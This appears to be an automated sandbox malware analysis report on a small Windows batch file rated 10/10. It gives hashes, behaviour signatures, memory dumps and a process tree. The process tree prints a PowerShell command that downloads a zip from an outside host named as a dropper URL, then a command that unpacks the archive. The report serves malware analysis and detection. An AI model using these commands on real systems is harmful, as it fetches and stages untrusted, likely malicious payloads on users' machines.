3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
1557s
max time network
1561s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 17:25

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General

Target

tesy - Copy (11).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2424	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2424	powershell.exe
2712	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2424	powershell.exe
Token: SeDebugPrivilege	2712	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3036 wrote to memory of 2424	3036	cmd.exe	29
PID 3036 wrote to memory of 2424	3036	cmd.exe	29
PID 3036 wrote to memory of 2424	3036	cmd.exe	29
PID 3036 wrote to memory of 2712	3036	cmd.exe	30
PID 3036 wrote to memory of 2712	3036	cmd.exe	30
PID 3036 wrote to memory of 2712	3036	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2712

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
31dfab91790401c5f66f9b9a7fb789ba

SHA1
e5575f6eec605b6d722a59a03632653d85e67214

SHA256
e55031c4fdfbf621c6b57b7e48fbfdb3b9e0be6386dce3ece123d6023d989f7c

SHA512
1e5c7e563f15bf4e5f63f13a72684f3bc0bd9877d50be3a5d66067adda4093b911b4f5e17ad9f1e4c1dce924206504bdcc9411b01da70e35f449186dc22270c5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\R0Y7CS5KSCNXY2LAQY69.temp

Filesize
7KB

MD5
31dfab91790401c5f66f9b9a7fb789ba

SHA1
e5575f6eec605b6d722a59a03632653d85e67214

SHA256
e55031c4fdfbf621c6b57b7e48fbfdb3b9e0be6386dce3ece123d6023d989f7c

SHA512
1e5c7e563f15bf4e5f63f13a72684f3bc0bd9877d50be3a5d66067adda4093b911b4f5e17ad9f1e4c1dce924206504bdcc9411b01da70e35f449186dc22270c5

Download Submit
memory/2424-8-0x00000000025D0000-0x0000000002650000-memory.dmp

Filesize
512KB

Download
memory/2424-5-0x00000000025D0000-0x0000000002650000-memory.dmp

Filesize
512KB

Download
memory/2424-4-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download
memory/2424-9-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2424-10-0x00000000025D0000-0x0000000002650000-memory.dmp

Filesize
512KB

Download
memory/2424-12-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download
memory/2424-6-0x00000000025D0000-0x0000000002650000-memory.dmp

Filesize
512KB

Download
memory/2424-7-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

Filesize
2.9MB

Download
memory/2712-19-0x000007FEF49C0000-0x000007FEF535D000-memory.dmp

Filesize
9.6MB

Download
memory/2712-18-0x000000001B3D0000-0x000000001B6B2000-memory.dmp

Filesize
2.9MB

Download
memory/2712-21-0x0000000002550000-0x00000000025D0000-memory.dmp

Filesize
512KB

Download
memory/2712-22-0x00000000020C0000-0x00000000020C8000-memory.dmp

Filesize
32KB

Download
memory/2712-20-0x0000000002550000-0x00000000025D0000-memory.dmp

Filesize
512KB

Download
memory/2712-23-0x000007FEF49C0000-0x000007FEF535D000-memory.dmp

Filesize
9.6MB

Download
memory/2712-24-0x0000000002550000-0x00000000025D0000-memory.dmp

Filesize
512KB

Download
memory/2712-25-0x000007FEF49C0000-0x000007FEF535D000-memory.dmp

Filesize
9.6MB

Download